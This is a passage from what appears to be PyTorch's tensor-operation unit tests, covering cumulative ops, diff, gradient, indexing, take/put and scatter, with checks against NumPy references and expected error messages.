or layout # different from that of input tensor t = torch.randn(10) values = torch.empty(0, dtype=torch.int16) indices = torch.empty(0, dtype=torch.int64) with self.assertRaisesRegex( RuntimeError, 'expected scalar_type Float but found Short'): op(t, 0, out=(values, indices)) # Check that op over a zero length dimension doesn't crash on backprop. # Also check that op over other dimensions in a tensor with a zero-length # dimension also works # Also include a basic suite of similar tests for other bases cases. shapes = [[2, 0], [2, 1, 4], [0, 2, 3], [1], [5]] for shape in shapes: for dim in range(len(shape)): raw_tensor = torch.zeros(*shape, requires_grad=True) integrated = getattr(raw_tensor, string_of_function_name)(dim=dim) # Check that backward does not crash integrated[0].sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) # Check a scalar example raw_tensor = torch.tensor(3., requires_grad=True) integrated = getattr(raw_tensor, string_of_function_name)(dim=-1) # Check that backward does not crash integrated[0].sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) expected_out = torch.tensor([4, inf, inf, inf, inf, nan, nan]) test_ops(torch.cummax, "cummax", torch.tensor([[1, 0, 1], [1, 0, 1], [1, 1, 1]]), expected_out) expected_out = torch.tensor([4, 4, 1.5, -inf, -inf, nan, nan]) test_ops(torch.cummin, "cummin", torch.tensor([[1, 0, 1], [0, 0, 0], [0, 0, 0]]), expected_out) def test_logcumsumexp(self, device): def logcumsumexp(a, axis): return torch.cumsum(a.exp(), axis=axis).log_() axis = -1 a = torch.randn(100, 100, device=device) actual = a.logcumsumexp(axis) expected = logcumsumexp(a, axis) self.assertEqual(a.dtype, actual.dtype) self.assertEqual(expected.shape, actual.shape) self.assertEqual(expected, actual) # check -inf and nan handling x = torch.tensor([-float('inf'), -float('inf'), 1.0, 1.0, float('inf'), float('inf'), float('nan'), 1.0, 1.0], device=device) x2d = x.unsqueeze(0).expand(2, -1) for inp in (x, x2d): actual = inp.logcumsumexp(axis) expected = logcumsumexp(inp, axis) self.assertEqual(expected, actual) # Check that out is actually inplace b = torch.randn(5, 2, device=device) inplace_out = torch.zeros(5, 2, device=device) expected = logcumsumexp(b, axis) torch.logcumsumexp(b, axis=axis, out=inplace_out) self.assertEqual(inplace_out, expected) # Check input and inplace_output type mismatch b = torch.randn(5, 2, device=device, dtype=torch.float64) inplace_out = torch.zeros(5, 2, device=device, dtype=torch.float32) with self.assertRaisesRegex( RuntimeError, 'expected scalar_type Double but found Float'): torch.logcumsumexp(b, axis, out=inplace_out) def _test_diff_numpy(self, t, dims=None): # Helper for test_diff to compare with NumPy reference implementation def to_np(t): if t.dtype == torch.bfloat16: return t.to(dtype=torch.float, device="cpu").numpy() else: return t.cpu().numpy() for dim in dims if dims else range(t.dim()): prepend = t.narrow(dim, 0, 1) append = t.narrow(dim, 0, 1) np_t = to_np(t) # test when prepend and append's size along dim is 1 actual = torch.diff(t, dim=dim, prepend=prepend, append=append) expected = torch.from_numpy(np.diff(np_t, axis=dim, prepend=to_np(prepend), append=to_np(append))) self.assertEqual(actual, expected.to(t.dtype)) # test when prepend and append's size along dim != 1 actual = torch.diff(t, dim=dim, prepend=t, append=t) expected = torch.from_numpy(np.diff(np_t, axis=dim, prepend=np_t, append=np_t)) self.assertEqual(actual, expected.to(t.dtype)) # All tensors appear contiguous on XLA @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_diff_noncontig(self, device, dtype): shapes = ( (1,), (1, 5), (3, 5), (1, 5, 1), (2, 3, 5)) for shape in shapes: contig = make_tensor(shape, device, dtype, low=-9, high=9) non_contig = torch.empty(shape + (2, 2), device=device, dtype=dtype)[..., 0] non_contig = non_contig.select(-1, -1) non_contig.copy_(contig) self.assertTrue(not non_contig.is_contiguous() or shape == (1,)) self._test_diff_numpy(non_contig) # RngNormal not implemented for type f16 for XLA @dtypes(*get_all_dtypes(include_half=False)) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_diff(self, device, dtype): shapes = ( (1,), (1, 5), (3, 5), (1, 5, 1), (2, 3, 5)) for shape in shapes: contig = make_tensor(shape, device, dtype, low=-9, high=9) self._test_diff_numpy(contig) t = torch.ones(2, 3) with self.assertRaisesRegex( RuntimeError, 'diff expects prepend or append to be the same dimension as input'): invalid_prepend = torch.tensor([1, 2, 3], device=device, dtype=dtype) t.diff(dim=0, prepend=invalid_prepend) with self.assertRaisesRegex( RuntimeError, 'diff expects the shape of tensor to prepend or append to match that of input'): invalid_prepend = torch.tensor([[0, 1]], device=device, dtype=dtype) t.diff(dim=0, prepend=invalid_prepend) with self.assertRaisesRegex( RuntimeError, 'diff only supports n = 1 currently'): torch.diff(t, n=2) with self.assertRaisesRegex( RuntimeError, 'diff expects input to be at least one-dimensional'): scalar = torch.tensor(2, device=device, dtype=dtype) torch.diff(scalar) # if the given input arg is not a list, it returns a list of single element: [arg] def _wrap_to_list(self, input_array): return input_array if isinstance(input_array, list) else [input_array] # To ensure inf, -inf, and nan values do not cause divergence between Numpy and PyTorch. # There are two types of possible divergence: # 1. When we compute a,b both real numbers and has very small absolute values (i.e. very near to 0.0) # then, result of a/b be inf, -inf and nan, and this cause divergence. # 2. When we are dividing complex numbers by zero. For example, when a = torch.tensor(3+5j) we have # a/0 to be equal to nan + nan*j in PyTorch and inf + inf*j in Numpy. def _inf_nan_preprocess(self, actual, expected): for i in range(len(expected)): expected[i] = np.nan_to_num(expected[i], nan=nan, posinf=nan, neginf=nan) # nan_to_num is not defined for complex tensors in PyTorch. if actual[i].dtype == torch.complex64 : actual[i].real = torch.nan_to_num(actual[i].real, nan=nan, posinf=nan, neginf=nan) actual[i].imag = torch.nan_to_num(actual[i].imag, nan=nan, posinf=nan, neginf=nan) else: actual[i] = torch.nan_to_num(actual[i], nan=nan, posinf=nan, neginf=nan) return actual, expected @onlyOnCPUAndCUDA @dtypes(torch.long, torch.float32, torch.complex64) def test_gradient_all(self, device, dtype): def create_scalar(shape): return make_tensor((1,), device='cpu', dtype=dtype, low=1.).item() def create_list(shape): return make_tensor((len(shape),), device='cpu', dtype=dtype, low=1.).tolist() def create_coordinate_tensors(shape): tensor_list = [] for i in range(len(shape)): tensor_list.append(make_tensor((shape[i],), device=device, dtype=dtype)) return tensor_list def filter_shape(shape, dim): filtered_shape = [] for i in range(len(dim)): filtered_shape.append(shape[dim[i]]) return filtered_shape # shape, dims format test_cases = ( ((5,), (0,)), ((4, 4), (0, 1)), ((3, 3, 3), (-1, 0)), ((4, 4, 4), (2,)), ((4, 4, 4), (0, 1)), ((4, 4, 4, 3), (0, 2, 3)), ((4, 5, 3, 4, 3), (1, 2)), ((4, 3, 6, 5, 3), (2, 4)), ((4, 3, 3, 5, 3), (0, 1, 2, 3, 4)), ) for case, contig, edge_order, space_fn in product(test_cases, [True, False], [1, 2], (create_scalar, create_list, create_coordinate_tensors)): shape, dims = case # filter shape by dims before passing filtered shape to create_* functions filtered_shape = filter_shape(shape, dims) spacing = space_fn(filtered_shape) t = make_tensor(shape, device=device, dtype=dtype, noncontiguous=not contig) t_np = t.cpu().numpy() actual = torch.gradient(t, spacing=spacing, dim=dims, edge_order=edge_order) if space_fn == create_coordinate_tensors and spacing[0].device != 'cpu': spacing = [space.cpu().detach().numpy() for space in spacing] expected = np.gradient(t_np, *self._wrap_to_list(spacing), axis=dims, edge_order=edge_order) actual, expected = self._inf_nan_preprocess(list(actual), self._wrap_to_list(expected)) self.assertEqual(actual, expected, equal_nan=True, atol=1e-4, rtol=0, exact_dtype=False) @onlyOnCPUAndCUDA @dtypes(torch.long, torch.float32, torch.complex64) def test_gradient_extreme_cases(self, device, dtype): # Test behaviour for inf and nan values actual = torch.gradient(torch.tensor([2, -2, inf, inf, -inf, -inf, inf, 3, -inf, 2, nan, nan, 3, inf, nan])) expected = np.gradient(np.array([2, -2, inf, inf, -inf, -inf, inf, 3, -inf, 2, nan, nan, 3, inf, nan])) self.assertEqual(actual, self._wrap_to_list(expected), exact_dtype=False) # Test behaviour in very big tensors large_size = 100000 t = make_tensor((large_size,), device, dtype) t_np = t.cpu().numpy() coordinates_np = list(np.random.randn(large_size)) coordinates = [torch.tensor(coordinates_np, device=device)] actual = torch.gradient(t, spacing=coordinates, dim=0, edge_order=1) expected = [np.gradient(t_np, coordinates_np, axis=0, edge_order=1)] self.assertEqual(actual, expected, exact_dtype=False) actual = torch.gradient(t, spacing=coordinates, dim=0, edge_order=2) expected = [np.gradient(t_np, coordinates_np, axis=0, edge_order=2)] self.assertEqual(actual, expected, exact_dtype=False) @onlyOnCPUAndCUDA def test_gradient_type_promotion(self, device): inputs = ( make_tensor((4, 4), device=device, dtype=torch.float32), make_tensor((4, 4), device=device, dtype=torch.complex64), make_tensor((4, 4), device=device, dtype=torch.int64), ) spacing = ( make_tensor((1,), device='cpu', dtype=torch.float32).item(), make_tensor((1,), device='cpu', dtype=torch.int64).item(), make_tensor((1,), device='cpu', dtype=torch.complex64).item(), make_tensor((2,), device='cpu', dtype=torch.float32, low=0.1).tolist(), make_tensor((2,), device='cpu', dtype=torch.int64, low=1).tolist(), make_tensor((2,), device='cpu', dtype=torch.complex64).tolist(), [make_tensor((4,), device=device, dtype=torch.float32), make_tensor((4,), device=device, dtype=torch.float32)], [make_tensor((4,), device=device, dtype=torch.int64), make_tensor((4,), device=device, dtype=torch.int64)], [make_tensor((4,), device=device, dtype=torch.complex64), make_tensor((4,), device=device, dtype=torch.complex64)], ) for input, spacing_or_coord, edge_order in product(inputs, spacing, [1, 2]): input_np = input.cpu().numpy() input_np = input.cpu().numpy() actual = torch.gradient(input, spacing=spacing_or_coord, dim=(0, 1), edge_order=edge_order) spacing_or_coord_wrapped = self._wrap_to_list(spacing_or_coord) spacing_or_coord_np = [] if torch.is_tensor(spacing_or_coord_wrapped[0]) and torch.device(spacing_or_coord_wrapped[0].device).type != 'cpu': for i in range(len(spacing_or_coord_wrapped)): spacing_or_coord_np.append(spacing_or_coord_wrapped[i].detach().clone().cpu().numpy()) else: spacing_or_coord_np = spacing_or_coord_wrapped expected = np.gradient(input_np, *spacing_or_coord_np, axis=(0, 1), edge_order=edge_order) if actual[0].dtype == torch.complex64 and input.dtype != torch.complex64: for i in range(len(actual)): self.assertEqual(actual[i].real, expected[i].real, exact_dtype=False) # Type promotion fails on Numpy when spacing is given as complex number and input is given as real. # Result is given just as real number and all the imaginary parts to be equal to zero. self.assertEqual(expected[i].imag, torch.zeros(actual[i].shape), exact_dtype=False) else: actual, expected = self._inf_nan_preprocess(list(actual), expected) self.assertEqual(actual, expected, equal_nan=True, exact_dtype=False) @onlyOnCPUAndCUDA @dtypes(torch.long, torch.float32, torch.complex64) def test_error_gradient(self, device, dtype): t = torch.tensor([[1, 2, 3], [4, 5, 6], [7, 8, 9]], device=device, dtype=dtype) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected spacing to be unspecified, a scalar '): dim = (1, 0) spacing = [0.1] torch.gradient(t, spacing=spacing, dim=dim, edge_order=1) with self.assertRaisesRegex(RuntimeError, 'torch.gradient only supports edge_order=1 and edge_order=2.'): torch.gradient(t, edge_order=3) with self.assertRaisesRegex(RuntimeError, 'dim 1 appears multiple times in the list of dims'): dim = (1, 1) spacing = 0.1 torch.gradient(t, spacing=spacing, dim=dim, edge_order=1) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected each tensor to be on the same device,'): dim = (0, 1) coordinates = [torch.tensor([1, 2, 4], device='cpu'), torch.tensor([1, 2, 4], device='meta')] torch.gradient(t, spacing=coordinates, dim=dim, edge_order=1) with self.assertRaises(IndexError): torch.gradient(t, dim=3) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected each dimension size to be at least'): torch.gradient(torch.tensor([[1], [2], [3]]), edge_order=1) with self.assertRaisesRegex(RuntimeError, 'torch.gradient expected each dimension size to be at least'): torch.gradient(torch.tensor([[1, 2], [3, 4]]), edge_order=2) def _test_large_cum_fn_helper(self, x, fn): x_cpu = x.cpu().float() expected = fn(x_cpu) actual = fn(x).cpu().float() self.assertEqual(expected, actual.cpu().float()) @unittest.skipIf(IS_FBCODE and IS_REMOTE_GPU, "sandcastle OOM with current tpx gpu/re configuration") @onlyCUDA @dtypesIfCUDA(torch.half) # only small dtype not to get oom def test_large_cumsum(self, device, dtype): # initialization to avoid overflow and half caveats x = torch.empty(2**30 + 200, device=device, dtype=dtype) x[::3] = -3 x[1::3] = 2 x[2::3] = 1 self._test_large_cum_fn_helper(x, lambda x: torch.cumsum(x, 0)) @onlyCUDA @dtypesIfCUDA(torch.half) # only small dtype not to get oom def test_large_cumprod(self, device, dtype): # initialization to avoid overflow and half caveats x = torch.empty(2**30 + 200, device=device, dtype=dtype) x[::3] = 8 x[1::3] = .25 x[2::3] = .5 self._test_large_cum_fn_helper(x, lambda x: torch.cumprod(x, 0)) def test_discontiguous_out_cumsum(self, device): x = torch.randn(4, 8, device=device) y = torch.empty(4, 16, device=device)[:, ::2] out = torch.cumsum(x, 0) torch.cumsum(x, 0, out=y) self.assertFalse(y.is_contiguous()) self.assertEqual(out, y, atol=0., rtol=0.) def _test_cumminmax_helper(self, x, fn, expected_val, expected_ind): val, ind = fn(x, -1) self.assertEqual(val, expected_val, atol=0, rtol=0) self.assertEqual(ind, expected_ind, atol=0, rtol=0) out_val = torch.empty_like(val).t().contiguous().t() out_ind = torch.empty_like(ind).t().contiguous().t() fn(x, -1, out=(out_val, out_ind)) self.assertFalse(out_val.is_contiguous()) self.assertFalse(out_ind.is_contiguous()) self.assertEqual(out_val, expected_val, atol=0, rtol=0) self.assertEqual(out_ind, expected_ind, atol=0, rtol=0) def test_cummax_discontiguous(self, device): x = torch.tensor([[0, 1, 2, 3, 2, 1], [4, 5, 6, 5, 6, 7]], device=device, dtype=torch.float).t().contiguous().t() expected_val = torch.tensor([[0, 1, 2, 3, 3, 3], [4, 5, 6, 6, 6, 7]], device=device, dtype=torch.float) expected_ind = torch.tensor([[0, 1, 2, 3, 3, 3], [0, 1, 2, 2, 4, 5]], device=device, dtype=torch.long) self._test_cumminmax_helper(x, torch.cummax, expected_val, expected_ind) def test_cummin_discontiguous(self, device): x = torch.tensor([[3, 2, 1, 0, 1, 2], [7, 6, 5, 4, 5, 2]], device=device, dtype=torch.float).t().contiguous().t() expected_val = torch.tensor([[3, 2, 1, 0, 0, 0], [7, 6, 5, 4, 4, 2]], device=device, dtype=torch.float) expected_ind = torch.tensor([[0, 1, 2, 3, 3, 3], [0, 1, 2, 3, 3, 5]], device=device, dtype=torch.long) self._test_cumminmax_helper(x, torch.cummin, expected_val, expected_ind) def test_bool_tensor_value_change(self, device): x = torch.tensor([True, False], dtype=torch.bool, device=device) x[0] = False x[1] = True self.assertEqual(x, torch.tensor([False, True], dtype=torch.bool, device=device)) def test_unfold_all_devices_and_dtypes(self, device): for dt in get_all_dtypes(): if dt == torch.bool: x = torch.empty((0, 1, 3, 0), dtype=dt, device=device) self.assertEqual((0, 1, 1, 0, 3), x.unfold(2, 3, 2).shape) else: x = torch.empty((0, 1, 3, 0), dtype=dt, device=device) self.assertEqual((0, 1, 1, 0, 3), x.unfold(2, 3, 2).shape) def test_unfold_scalars(self, device): x = torch.tensor(0.5, device=device) # unfold on a 0-dimensional tensor should always return a 1-d dimensional # tensor of shape [size] (i.e., the second parameter to unfold) self.assertEqual(torch.empty(0, device=device), x.unfold(0, 0, 1)) self.assertEqual(torch.empty(0, device=device), x.unfold(0, 0, 2)) self.assertEqual(torch.tensor([0.5], device=device), x.unfold(0, 1, 1)) def test_copy_all_dtypes_and_devices(self, device): from copy import copy for dt in get_all_dtypes(): x = torch.tensor([1, 2, 3, 4], dtype=dt, device=device) x_clone = x.clone() y = copy(x) y.fill_(1) # copy is a shallow copy, only copies the tensor view, # not the data self.assertEqual(x, y) def test_clone_all_dtypes_and_devices(self, device): for dt in get_all_dtypes(): x = torch.tensor((1, 1), dtype=dt, device=device) y = x.clone() self.assertEqual(x, y) def test_clone_zero_stride_dim(self, device): # stride zero, size 1 axis, not contiguous x = torch.randn(10) y = x.as_strided([2, 1, 5], [1, 0, 2]) self.assertEqual(y, y.clone()) def test_clone_not_memory_dense(self): # github issue: https://github.com/pytorch/pytorch/issues/64176 x = torch.randn(10, 8).t()[::2, ::2] y = x.clone() # should retain permutation after densification self.assertTrue(y.stride() == (1, 4)) @dtypesIfCUDA(*set(get_all_math_dtypes('cuda'))) @dtypes(*set(get_all_math_dtypes('cpu'))) def test_addcmul(self, device, dtype): # Returns floating or integral scalar corresponding to dtype def _number(floating, integer, dtype): if dtype in [torch.half, torch.float, torch.double, torch.bfloat16]: return floating elif dtype in [torch.cfloat, torch.cdouble]: return floating * (1 + 1j) else: return integer def rand_tensor(size, dtype, device): if dtype.is_floating_point or dtype.is_complex: return torch.rand(size=size, dtype=dtype, device=device) if dtype == torch.uint8: return torch.randint(1, 5, size=size, dtype=dtype, device=device) else: return torch.randint(-5, 5, size=size, dtype=dtype, device=device) a = rand_tensor((2, 2), dtype=dtype, device=device) b = rand_tensor((2, 2), dtype=dtype, device=device) c = rand_tensor((2, 2), dtype=dtype, device=device) alpha = _number(0.5, 3, dtype) actual = torch.addcmul(a, b, c, value=alpha) expected = a + alpha * b * c self.assertEqual(expected, actual) with self.assertWarnsOnceRegex( UserWarning, "This overload of addcmul is deprecated"): self.assertEqual(actual, torch.addcmul(a, alpha, b, c)) if self.device_type == 'cuda' and dtype == torch.half: a = torch.tensor([60000.0], device=device, dtype=dtype) b = torch.tensor([60000.0], device=device, dtype=dtype) c = torch.tensor([2.0], device=device, dtype=dtype) out = torch.addcmul(a, b, c, value=-1) self.assertTrue(not (out.isnan() or out.isinf())) def test_narrow_empty(self, device): x = torch.randn(2, 3, 4, device=device) for d in range(x.dim()): y = x.narrow(d, x.size(d), 0) sz = list(x.size()) sz[d] = 0 self.assertEqual(sz, y.size()) @dtypes(*get_all_dtypes()) def test_index_copy(self, device, dtype): # We just test for num_copy <= num_dest, as otherwise there are repeated indices # and the behavior is undefined num_copy, num_dest = 3, 5 def make_arg(batch_sizes, n, dim, contig): size_arg = batch_sizes[:dim] + (n,) + batch_sizes[dim:] return make_tensor(size_arg, device, dtype, low=None, high=None, noncontiguous=not contig) def ref_index_copy(tgt, dim, idx, src): for i in range(idx.size(0)): idx_dest = dim * (slice(None),) + (idx[i],) idx_src = dim * (slice(None),) + (i,) tgt[idx_dest] = src[idx_src] # More thorough testing as in index_add for dest_contig, src_contig, index_contig in product([True, False], repeat=3): for other_sizes in ((), (4, 5)): for dim in range(len(other_sizes)): dest = make_arg(other_sizes, num_dest, dim, dest_contig) src = make_arg(other_sizes, num_copy, dim, src_contig) idx = torch.randperm(num_dest, dtype=torch.int64, device=device)[:num_copy] if not index_contig: idx = torch.repeat_interleave(idx, 2, dim=-1) idx = idx[..., ::2] dest2 = dest.clone() dest.index_copy_(dim, idx, src) ref_index_copy(dest2, dim, idx, src) self.assertEqual(dest, dest2) # onlyOnCPUAndCUDA due to an XLA error: # https://github.com/pytorch/pytorch/issues/53256 @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_index_copy_scalars(self, device, dtype): # Create the 8 possible combinations of scalar sizes for target / index / source scalars = ((make_tensor(size_t, dtype=dtype, device=device, low=None, high=None), make_tensor(size_i, dtype=torch.int64, device=device, low=0, high=1), make_tensor(size_s, dtype=dtype, device=device, low=None, high=None)) for size_t, size_i, size_s in product([(), (1,)], repeat=3)) for target, idx, source in scalars: target.index_copy_(0, idx, source) self.assertEqual(target.item(), source.item()) @onlyCPU def test_errors_index_copy(self, device): # We do not test the GPU as the CUDA_ASSERT would break the CUDA context idx_dim = 8 tgt_dim = 5 batch_dim = 3 # Too large of an index a = torch.randn(batch_dim, tgt_dim, device=device) idx = torch.full((idx_dim,), tgt_dim, device=device) c = torch.zeros(batch_dim, idx_dim, device=device) with self.assertRaises(IndexError): a.index_copy_(1, idx, c) # Too small (negative indices) idx = torch.full((idx_dim,), -1, device=device) with self.assertRaises(IndexError): a.index_copy_(1, idx, c) # Too small (very negative indices) - they should be unsupported even # when support for negative indices is implemented for index_copy_ idx = torch.full((idx_dim,), -tgt_dim - 1, device=device) with self.assertRaises(IndexError): a.index_copy_(1, idx, c) def _prepare_data_for_index_copy_and_add_deterministic( self, dim: int, device: torch.device ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: assert (dim >= 0 and dim < 3) a = [5, 4, 3] a[dim] = 2000 x = torch.zeros(a, device=device) b = a.copy() elems = a[dim] * 20 b[dim] = elems src = torch.rand(b, device=device) index = torch.randint(a[dim], (elems,), device=device) return (x, index, src) @onlyOnCPUAndCUDA def test_index_copy_deterministic(self, device: torch.device) -> None: for dim in range(3): x, index, src = self._prepare_data_for_index_copy_and_add_deterministic(dim, device) with DeterministicGuard(True): y0 = torch.index_copy(x, dim, index, src) x0 = x.clone().detach() index_list = index.tolist() for i in range(len(index_list)): if dim == 0: x0[index_list[i], :, :] = src[i, :, :] elif dim == 1: x0[:, index_list[i], :] = src[:, i, :] elif dim == 2: x0[:, :, index_list[i]] = src[:, :, i] self.assertEqual(x0, y0, atol=0, rtol=0) @onlyOnCPUAndCUDA def test_index_add_deterministic(self, device: torch.device) -> None: for dim in range(3): x, index, src = self._prepare_data_for_index_copy_and_add_deterministic(dim, device) alpha = random.random() + 1 # on CPU it should be deterministic regardless of the deterministic mode with DeterministicGuard(True): y0 = torch.index_add(x, dim, index, src, alpha=alpha) for _ in range(3): y = torch.index_add(x, dim, index, src, alpha=alpha) self.assertEqual(y, y0, atol=0, rtol=0) with DeterministicGuard(False): for _ in range(3): y_nd = torch.index_add(x, dim, index, src, alpha=alpha) self.assertEqual(y_nd, y0, atol=1e-3, rtol=1e-5) @onlyOnCPUAndCUDA def test_index_put_non_accumulate_deterministic(self, device) -> None: with DeterministicGuard(True): for i in range(3): m = random.randint(10, 20) elems = random.randint(20000, 30000) values = torch.rand(elems, device=device) indices = torch.randint(m, (elems,), device=device) input = torch.rand(m, device=device) output = input.index_put((indices,), values, accumulate=False) input_list = input.tolist() indices_list = indices.tolist() values_list = values.tolist() for i, v in zip(indices_list, values_list): input_list[i] = v self.assertEqual(output, input_list) @dtypes(*get_all_dtypes()) def test_index_fill(self, device, dtype): x = torch.tensor([[1, 2], [4, 5]], dtype=dtype, device=device) index = torch.tensor([0], device=device) x.index_fill_(1, index, 0) self.assertEqual(x, torch.tensor([[0, 2], [0, 5]], dtype=dtype, device=device)) if not x.is_complex(): with self.assertRaisesRegex(RuntimeError, r"Scalar"): x.index_fill_(1, index, 1 + 1j) # Make sure that the result stays 0-dim while applied to # a 0-dim input x = torch.tensor(1, dtype=dtype, device=device) self.assertEqual(0, x.index_fill(0, index, -1).dim()) self.assertEqual(0, x.index_fill_(0, index, -1).dim()) # The test fails for zero-dimensional tensors on XLA @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_index_select(self, device, dtype): num_src, num_out = 3, 5 def make_arg(batch_sizes, n, dim, contig): size_arg = batch_sizes[:dim] + (n,) + batch_sizes[dim:] return make_tensor(size_arg, device, dtype, low=None, high=None, noncontiguous=not contig) def ref_index_select(src, dim, idx): # bfloat16 is just used on GPU, so it's not supported on numpy if dtype == torch.bfloat16: src = src.float() out = torch.from_numpy(np.take(src.cpu().numpy(), idx.cpu().numpy(), axis=dim)) if dtype == torch.bfloat16: out = out.to(device=device, dtype=dtype) return out for src_contig, idx_contig in product([True, False], repeat=2): for other_sizes in ((), (4, 5)): for dim in range(len(other_sizes)): src = make_arg(other_sizes, num_src, dim, src_contig) idx = make_tensor((num_out,), device, dtype=torch.int64, low=0, high=num_src, noncontiguous=not idx_contig) out = torch.index_select(src, dim, idx) out2 = ref_index_select(src, dim, idx) self.assertEqual(out, out2) for idx_type in (torch.int32, torch.int64): other_sizes = (3, 2) dim = 1 src = make_arg(other_sizes, num_src, dim, True) idx = make_tensor((num_out,), device, dtype=idx_type, low=0, high=num_src, noncontiguous=False) out = torch.index_select(src, dim, idx) out2 = ref_index_select(src, dim, idx) self.assertEqual(out, out2) # Create the 4 possible combinations of scalar sizes for index / source scalars = ((make_tensor(size_s, device, dtype), torch.zeros(size_i, dtype=torch.int64, device=device)) for size_s, size_i in product([(), (1,)], repeat=2)) for source, idx in scalars: out = source.index_select(0, idx) self.assertEqual(out.item(), source.item()) @dtypes(*get_all_dtypes()) def test_take(self, device, dtype): idx_size = (4,) make_arg = partial(make_tensor, device=device, dtype=dtype) make_idx = partial(make_tensor, low=0, device=device, dtype=torch.int64) def ref_take(src, idx): if dtype == torch.bfloat16: src = src.half() src = src.cpu().numpy() idx = idx.cpu().numpy() out = torch.from_numpy(np.take(src, idx)).to(device=device, dtype=dtype) return out for src_contig, idx_contig, idx_reshape in product([True, False], repeat=3): for src_size in ((5,), (4, 5)): src = make_arg(src_size, noncontiguous=not src_contig) idx = make_idx(idx_size, high=src.numel(), noncontiguous=not idx_contig) if idx_reshape: idx = idx.reshape(2, 2) out = torch.take(src, idx) out2 = ref_take(src, idx) self.assertEqual(out, out2) # Create the 4 possible combinations of scalar sizes for source / index for size_s, size_i in product([(), (1,)], repeat=2): source = make_arg(size_s) idx = make_idx(size_i, high=1) out = source.take(idx) self.assertEqual(out.item(), source.item()) # The bool instance does not work on GPU. See # https://github.com/pytorch/pytorch/issues/54317 @dtypes(*get_all_dtypes(include_bool=False)) def test_put(self, device, dtype): src_size = (4,) make_arg = partial(make_tensor, device=device, dtype=dtype) make_idx = partial(make_tensor, low=0, device=device, dtype=torch.int64) def ref_put(dst, idx, src, accumulate): new_dst = dst.clone(memory_format=torch.contiguous_format).view(-1) new_idx = idx.contiguous().view(-1) new_src = src.contiguous().view(-1) method = new_dst.index_add_ if accumulate else new_dst.index_copy_ return method(0, new_idx, new_src).view_as(dst) for dst_contig, src_contig, idx_contig, idx_reshape, accumulate in product([True, False], repeat=5): for dst_size in ((5,), (4, 5)): dst = make_arg(dst_size, noncontiguous=not dst_contig) src = make_arg(src_size, noncontiguous=not src_contig) # If accumulate=True, `put_` should be deterministic regardless of the inputs on CPU # On CUDA it may not be, but the test has enough tolerance to account for this if accumulate: idx = make_idx(src_size, high=dst.numel()) else: idx = torch.randperm(dst.numel(), dtype=torch.int64, device=device)[:src_size[0]] if not idx_contig: idx = torch.repeat_interleave(idx, 2, dim=-1)[..., ::2] if idx_reshape: idx = idx.reshape(2, 2) out = torch.put(dst, idx, src, accumulate) # out-place reference = ref_put(dst, idx, src, accumulate) self.assertEqual(out, reference) # in-place dst.put_(idx, src, accumulate) self.assertEqual(dst, reference) # Create the 8 possible combinations of scalar sizes for target / index / source scalars = ((make_arg(size_t), make_idx(size_i, high=1), make_arg(size_s)) for size_t, size_i, size_s in product([(), (1,)], repeat=3)) for (dest, idx, source), accumulate in product(scalars, [True, False]): dest_init = dest.clone() # out-place out = torch.put(dest, idx, source, accumulate=accumulate) # in-place dest1 = dest.clone() dest1.put_(idx, source, accumulate=accumulate) for d in [out, dest1]: if accumulate: self.assertEqual(d.item(), (dest_init + source).item()) else: self.assertEqual(d.item(), source.item()) # Empty case dest = make_arg((3, 2)) reference = dest.clone() idx = make_idx((0,), high=1) source = make_arg((0,)) for accumulate in [True, False]: out = torch.put(dest, idx, source, accumulate=accumulate) self.assertEqual(out, reference) dest.put_(idx, source, accumulate=accumulate) self.assertEqual(dest, reference) # The bool instance does not work on GPU. See # https://github.com/pytorch/pytorch/issues/54317 @dtypes(*get_all_dtypes(include_bool=False)) def test_put_accumulate(self, device, dtype): # Test for parallel adds with accumulate == True low_precision = dtype == torch.half or dtype == torch.bfloat16 # Less numbers to avoid overflow with low_precision # Grainsize is 3000 for the for_loop to be parallized on CPU sizes = ((100,)) if low_precision else ((200,), (3002,)) # Bfloat16 has a particularly bad performance here # This operation is nondeterministic on GPU, so we are generous with the rtol rtol, atol = (1e-1, 1e-2) if low_precision else (1e-3, 1e-4) make_arg = partial(make_tensor, low=-2, high=3, device=device, dtype=dtype) # Dump everything into the 0-th position make_idx = partial(torch.zeros, device=device, dtype=torch.int64) args = ((make_idx(size), make_arg(size)) for size in sizes) for idx, source in args: orig = make_arg((1,)) out = orig.put(idx, source, accumulate=True) self.assertEqual(out, orig + source.sum(), rtol=rtol, atol=atol) def test_take_empty(self, device): for input_shape in [(0,), (0, 1, 2, 0), (1, 2, 3)]: for indices_shape in [(0,), (0, 1, 2, 0)]: input = torch.empty(input_shape, device=device) indices = torch.empty(indices_shape, dtype=torch.int64, device=device) self.assertEqual(indices, torch.take(input, indices), exact_dtype=False) def test_put_empty(self, device): for dst_shape in [(0,), (0, 1, 2, 0), (1, 2, 3)]: for indices_shape in [(0,), (0, 1, 2, 0)]: for accumulate in [False, True]: dst = torch.randn(dst_shape, device=device) indices = torch.empty(indices_shape, dtype=torch.int64, device=device) src = torch.randn(indices_shape, device=device) self.assertEqual(dst, dst.put_(indices, src, accumulate=accumulate)) def scatter_allow_reduce(self, device, dtype, reduceop): device_type = torch.device(device).type return device_type != 'cuda' or (reduceop == 'multiply' and dtype.is_floating_point) # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @dtypes(*(get_all_fp_dtypes(include_bfloat16=False, include_half=False) + get_all_complex_dtypes())) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_scatter_reduce_operations_to_large_input(self, device, dtype): index = torch.tensor([[1], [2]], device=device, dtype=torch.long) test_data = [ (torch.zeros(4, 4, device=device, dtype=dtype), torch.ones(2, 2, device=device, dtype=dtype), torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=dtype), "add"), (torch.tensor([2], device=device, dtype=dtype).repeat(4, 4), torch.tensor([6], device=device, 